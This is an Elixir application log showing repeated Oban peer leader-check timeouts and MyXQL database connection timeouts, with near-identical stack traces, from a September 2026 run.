    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:06:11.701000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:06:12.669000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:06:16.702000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:06:20.896000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1283.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:06:54.931000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:06:59.934000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:07:04.504000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:07:38.538000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:07:43.539000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:07:47.674000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:07:48.512000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:08:22.545000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:08:22.676000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:08:27.547000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:08:32.150000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:09:06.183000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:09:11.185000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:09:15.749000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:09:48.784000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:09:53.785000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:09:57.680000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:09:58.685000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:10:31.720000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:10:32.682000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:10:36.721000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:10:40.857000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:11:14.891000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:11:19.892000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:11:24.825000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:11:58.859000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:12:03.860000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:12:05.512000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:12:07.687000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:12:08.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:12:43.855000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:12:48.856000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:12:53.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:13:28.679000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:13:33.680000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
